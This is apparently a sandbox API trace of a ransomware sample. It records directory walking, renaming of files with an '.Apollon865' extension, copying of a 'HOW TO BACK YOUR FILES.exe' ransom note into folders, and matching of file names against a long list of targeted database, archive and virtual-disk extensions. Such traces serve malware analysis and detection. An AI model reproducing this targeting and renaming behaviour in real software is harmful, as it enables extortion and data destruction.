	[0052.275] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.276] GetLastError () returned 0x5
	[0052.276] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 108
	[0052.277] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 108
	[0052.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0052.277] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1fa8
	[0052.277] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6c, lpOverlapped=0x0) returned 1
	[0052.277] CloseHandle (hObject=0x14c) returned 1
	[0052.277] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.277] CloseHandle (hObject=0x0) returned 0
	[0052.277] CloseHandle (hObject=0x0) returned 0
	[0052.277] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373a3230, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x373a3230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.277] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.277] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0052.278] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0052.278] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0052.278] lstrlenW (lpString="js") returned 2
	[0052.278] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 79
	[0052.278] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js"
	[0052.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599560 | out: hHeap=0x580000) returned 1
	[0052.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0052.278] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js") returned 71
	[0052.278] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js"
	[0052.278] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.278] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.284] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.284] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x373c9390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x373c9390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.285] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.285] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.285] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.285] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x373c9390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x373c9390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.285] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.285] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.285] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.285] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.285] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="Apollon865.txt.exe") returned 1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2=".") returned 1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="..") returned 1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="windows") returned -1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="bootmgr") returned 1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="temp") returned -1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="pagefile.sys") returned -1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="boot") returned 1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="ids.txt") returned -1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="ntuser.dat") returned -1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="perflogs") returned -1
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2="MSBuild") returned -1
	[0052.285] lstrlenW (lpString="calendar.js") returned 11
	[0052.285] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*") returned 73
	[0052.285] lstrcmpiW (lpString1="alendar.js", lpString2="Apollon865") returned -1
	[0052.285] lstrlenW (lpString=".dll") returned 4
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2=".dll") returned 1
	[0052.285] lstrlenW (lpString=".lnk") returned 4
	[0052.285] lstrcmpiW (lpString1="calendar.js", lpString2=".lnk") returned 1
	[0052.285] lstrlenW (lpString=".ini") returned 4
	[0052.286] lstrcmpiW (lpString1="calendar.js", lpString2=".ini") returned 1
	[0052.286] lstrlenW (lpString=".sys") returned 4
	[0052.286] lstrcmpiW (lpString1="calendar.js", lpString2=".sys") returned 1
	[0052.286] lstrlenW (lpString="calendar.js") returned 11
	[0052.286] lstrlenW (lpString="bak") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0052.286] lstrlenW (lpString="ba_") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0052.286] lstrlenW (lpString="dbb") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0052.286] lstrlenW (lpString="vmdk") returned 4
	[0052.286] lstrcmpiW (lpString1="r.js", lpString2="vmdk") returned -1
	[0052.286] lstrlenW (lpString="rar") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0052.286] lstrlenW (lpString="zip") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0052.286] lstrlenW (lpString="tgz") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0052.286] lstrlenW (lpString="vbox") returned 4
	[0052.286] lstrcmpiW (lpString1="r.js", lpString2="vbox") returned -1
	[0052.286] lstrlenW (lpString="vdi") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0052.286] lstrlenW (lpString="vhd") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0052.286] lstrlenW (lpString="vhdx") returned 4
	[0052.286] lstrcmpiW (lpString1="r.js", lpString2="vhdx") returned -1
	[0052.286] lstrlenW (lpString="avhd") returned 4
	[0052.286] lstrcmpiW (lpString1="r.js", lpString2="avhd") returned 1
	[0052.286] lstrlenW (lpString="db") returned 2
	[0052.286] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0052.286] lstrlenW (lpString="db2") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0052.286] lstrlenW (lpString="db3") returned 3
	[0052.286] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0052.286] lstrlenW (lpString="dbf") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0052.287] lstrlenW (lpString="mdf") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0052.287] lstrlenW (lpString="mdb") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0052.287] lstrlenW (lpString="sql") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0052.287] lstrlenW (lpString="sqlite") returned 6
	[0052.287] lstrcmpiW (lpString1="dar.js", lpString2="sqlite") returned -1
	[0052.287] lstrlenW (lpString="sqlite3") returned 7
	[0052.287] lstrcmpiW (lpString1="ndar.js", lpString2="sqlite3") returned -1
	[0052.287] lstrlenW (lpString="sqlitedb") returned 8
	[0052.287] lstrcmpiW (lpString1="endar.js", lpString2="sqlitedb") returned -1
	[0052.287] lstrlenW (lpString="xml") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0052.287] lstrlenW (lpString="$er") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0052.287] lstrlenW (lpString="4dd") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0052.287] lstrlenW (lpString="4dl") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0052.287] lstrlenW (lpString="^^^") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0052.287] lstrlenW (lpString="abs") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0052.287] lstrlenW (lpString="abx") returned 3
	[0052.287] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0052.287] lstrlenW (lpString="accdb") returned 5
	[0052.287] lstrcmpiW (lpString1="ar.js", lpString2="accdb") returned 1
	[0052.287] lstrlenW (lpString="accdc") returned 5
	[0052.287] lstrcmpiW (lpString1="ar.js", lpString2="accdc") returned 1
	[0052.287] lstrlenW (lpString="accde") returned 5
	[0052.287] lstrcmpiW (lpString1="ar.js", lpString2="accde") returned 1
	[0052.287] lstrlenW (lpString="accdr") returned 5
	[0052.287] lstrcmpiW (lpString1="ar.js", lpString2="accdr") returned 1
	[0052.287] lstrlenW (lpString="accdt") returned 5
	[0052.288] lstrcmpiW (lpString1="ar.js", lpString2="accdt") returned 1
	[0052.288] lstrlenW (lpString="accdw") returned 5
	[0052.288] lstrcmpiW (lpString1="ar.js", lpString2="accdw") returned 1
	[0052.288] lstrlenW (lpString="accft") returned 5
	[0052.288] lstrcmpiW (lpString1="ar.js", lpString2="accft") returned 1
	[0052.288] lstrlenW (lpString="adb") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.288] lstrlenW (lpString="adb") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.288] lstrlenW (lpString="ade") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0052.288] lstrlenW (lpString="adf") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0052.288] lstrlenW (lpString="adn") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0052.288] lstrlenW (lpString="adp") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0052.288] lstrlenW (lpString="alf") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0052.288] lstrlenW (lpString="ask") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0052.288] lstrlenW (lpString="btr") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0052.288] lstrlenW (lpString="cat") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0052.288] lstrlenW (lpString="cdb") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0052.288] lstrlenW (lpString="ckp") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0052.288] lstrlenW (lpString="cma") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0052.288] lstrlenW (lpString="cpd") returned 3
	[0052.288] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0052.288] lstrlenW (lpString="dacpac") returned 6
	[0052.288] lstrcmpiW (lpString1="dar.js", lpString2="dacpac") returned 1
	[0052.289] lstrlenW (lpString="dad") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0052.289] lstrlenW (lpString="dadiagrams") returned 10
	[0052.289] lstrcmpiW (lpString1="alendar.js", lpString2="dadiagrams") returned -1
	[0052.289] lstrlenW (lpString="daschema") returned 8
	[0052.289] lstrcmpiW (lpString1="endar.js", lpString2="daschema") returned 1
	[0052.289] lstrlenW (lpString="db-journal") returned 10
	[0052.289] lstrcmpiW (lpString1="alendar.js", lpString2="db-journal") returned -1
	[0052.289] lstrlenW (lpString="db-shm") returned 6
	[0052.289] lstrcmpiW (lpString1="dar.js", lpString2="db-shm") returned -1
	[0052.289] lstrlenW (lpString="db-wal") returned 6
	[0052.289] lstrcmpiW (lpString1="dar.js", lpString2="db-wal") returned -1
	[0052.289] lstrlenW (lpString="dbc") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0052.289] lstrlenW (lpString="dbs") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0052.289] lstrlenW (lpString="dbt") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0052.289] lstrlenW (lpString="dbv") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0052.289] lstrlenW (lpString="dbx") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0052.289] lstrlenW (lpString="dcb") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0052.289] lstrlenW (lpString="dct") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0052.289] lstrlenW (lpString="dcx") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0052.289] lstrlenW (lpString="ddl") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0052.289] lstrlenW (lpString="dlis") returned 4
	[0052.289] lstrcmpiW (lpString1="r.js", lpString2="dlis") returned 1
	[0052.289] lstrlenW (lpString="dp1") returned 3
	[0052.289] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0052.289] lstrlenW (lpString="dqy") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0052.290] lstrlenW (lpString="dsk") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="dsk") returned -1
	[0052.290] lstrlenW (lpString="dsn") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="dsn") returned -1
	[0052.290] lstrlenW (lpString="dtsx") returned 4
	[0052.290] lstrcmpiW (lpString1="r.js", lpString2="dtsx") returned 1
	[0052.290] lstrlenW (lpString="dxl") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="dxl") returned -1
	[0052.290] lstrlenW (lpString="eco") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="eco") returned -1
	[0052.290] lstrlenW (lpString="ecx") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="ecx") returned -1
	[0052.290] lstrlenW (lpString="edb") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="edb") returned -1
	[0052.290] lstrlenW (lpString="epim") returned 4
	[0052.290] lstrcmpiW (lpString1="r.js", lpString2="epim") returned 1
	[0052.290] lstrlenW (lpString="fcd") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="fcd") returned -1
	[0052.290] lstrlenW (lpString="fdb") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="fdb") returned -1
	[0052.290] lstrlenW (lpString="fic") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="fic") returned -1
	[0052.290] lstrlenW (lpString="flexolibrary") returned 12
	[0052.290] lstrlenW (lpString="fm5") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="fm5") returned -1
	[0052.290] lstrlenW (lpString="fmp") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="fmp") returned -1
	[0052.290] lstrlenW (lpString="fmp12") returned 5
	[0052.290] lstrcmpiW (lpString1="ar.js", lpString2="fmp12") returned -1
	[0052.290] lstrlenW (lpString="fmpsl") returned 5
	[0052.290] lstrcmpiW (lpString1="ar.js", lpString2="fmpsl") returned -1
	[0052.290] lstrlenW (lpString="fol") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="fol") returned -1
	[0052.290] lstrlenW (lpString="fp3") returned 3
	[0052.290] lstrcmpiW (lpString1=".js", lpString2="fp3") returned -1
	[0052.291] lstrlenW (lpString="fp4") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="fp4") returned -1
	[0052.291] lstrlenW (lpString="fp5") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="fp5") returned -1
	[0052.291] lstrlenW (lpString="fp7") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="fp7") returned -1
	[0052.291] lstrlenW (lpString="fpt") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="fpt") returned -1
	[0052.291] lstrlenW (lpString="frm") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="frm") returned -1
	[0052.291] lstrlenW (lpString="gdb") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0052.291] lstrlenW (lpString="gdb") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0052.291] lstrlenW (lpString="grdb") returned 4
	[0052.291] lstrcmpiW (lpString1="r.js", lpString2="grdb") returned 1
	[0052.291] lstrlenW (lpString="gwi") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="gwi") returned -1
	[0052.291] lstrlenW (lpString="hdb") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="hdb") returned -1
	[0052.291] lstrlenW (lpString="his") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="his") returned -1
	[0052.291] lstrlenW (lpString="ib") returned 2
	[0052.291] lstrcmpiW (lpString1="js", lpString2="ib") returned 1
	[0052.291] lstrlenW (lpString="idb") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="idb") returned -1
	[0052.291] lstrlenW (lpString="ihx") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="ihx") returned -1
	[0052.291] lstrlenW (lpString="itdb") returned 4
	[0052.291] lstrcmpiW (lpString1="r.js", lpString2="itdb") returned 1
	[0052.291] lstrlenW (lpString="itw") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="itw") returned -1
	[0052.291] lstrlenW (lpString="jet") returned 3
	[0052.291] lstrcmpiW (lpString1=".js", lpString2="jet") returned -1
	[0052.292] lstrlenW (lpString="jtx") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="jtx") returned -1
	[0052.292] lstrlenW (lpString="kdb") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="kdb") returned -1
	[0052.292] lstrlenW (lpString="kexi") returned 4
	[0052.292] lstrcmpiW (lpString1="r.js", lpString2="kexi") returned 1
	[0052.292] lstrlenW (lpString="kexic") returned 5
	[0052.292] lstrcmpiW (lpString1="ar.js", lpString2="kexic") returned -1
	[0052.292] lstrlenW (lpString="kexis") returned 5
	[0052.292] lstrcmpiW (lpString1="ar.js", lpString2="kexis") returned -1
	[0052.292] lstrlenW (lpString="lgc") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="lgc") returned -1
	[0052.292] lstrlenW (lpString="lwx") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="lwx") returned -1
	[0052.292] lstrlenW (lpString="maf") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="maf") returned -1
	[0052.292] lstrlenW (lpString="maq") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="maq") returned -1
	[0052.292] lstrlenW (lpString="mar") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="mar") returned -1
	[0052.292] lstrlenW (lpString="marshal") returned 7
	[0052.292] lstrcmpiW (lpString1="ndar.js", lpString2="marshal") returned 1
	[0052.292] lstrlenW (lpString="mas") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="mas") returned -1
	[0052.292] lstrlenW (lpString="mav") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="mav") returned -1
	[0052.292] lstrlenW (lpString="maw") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="maw") returned -1
	[0052.292] lstrlenW (lpString="mdbhtml") returned 7
	[0052.292] lstrcmpiW (lpString1="ndar.js", lpString2="mdbhtml") returned 1
	[0052.292] lstrlenW (lpString="mdn") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="mdn") returned -1
	[0052.292] lstrlenW (lpString="mdt") returned 3
	[0052.292] lstrcmpiW (lpString1=".js", lpString2="mdt") returned -1
	[0052.293] lstrlenW (lpString="mfd") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="mfd") returned -1
	[0052.293] lstrlenW (lpString="mpd") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="mpd") returned -1
	[0052.293] lstrlenW (lpString="mrg") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="mrg") returned -1
	[0052.293] lstrlenW (lpString="mud") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="mud") returned -1
	[0052.293] lstrlenW (lpString="mwb") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="mwb") returned -1
	[0052.293] lstrlenW (lpString="myd") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="myd") returned -1
	[0052.293] lstrlenW (lpString="ndf") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="ndf") returned -1
	[0052.293] lstrlenW (lpString="nnt") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="nnt") returned -1
	[0052.293] lstrlenW (lpString="nrmlib") returned 6
	[0052.293] lstrcmpiW (lpString1="dar.js", lpString2="nrmlib") returned -1
	[0052.293] lstrlenW (lpString="ns2") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="ns2") returned -1
	[0052.293] lstrlenW (lpString="ns3") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="ns3") returned -1
	[0052.293] lstrlenW (lpString="ns4") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="ns4") returned -1
	[0052.293] lstrlenW (lpString="nsf") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="nsf") returned -1
	[0052.293] lstrlenW (lpString="nv") returned 2
	[0052.293] lstrcmpiW (lpString1="js", lpString2="nv") returned -1
	[0052.293] lstrlenW (lpString="nv2") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="nv2") returned -1
	[0052.293] lstrlenW (lpString="nwdb") returned 4
	[0052.293] lstrcmpiW (lpString1="r.js", lpString2="nwdb") returned 1
	[0052.293] lstrlenW (lpString="nyf") returned 3
	[0052.293] lstrcmpiW (lpString1=".js", lpString2="nyf") returned -1
	[0052.293] lstrlenW (lpString="odb") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0052.294] lstrlenW (lpString="odb") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0052.294] lstrlenW (lpString="oqy") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="oqy") returned -1
	[0052.294] lstrlenW (lpString="ora") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="ora") returned -1
	[0052.294] lstrlenW (lpString="orx") returned 3
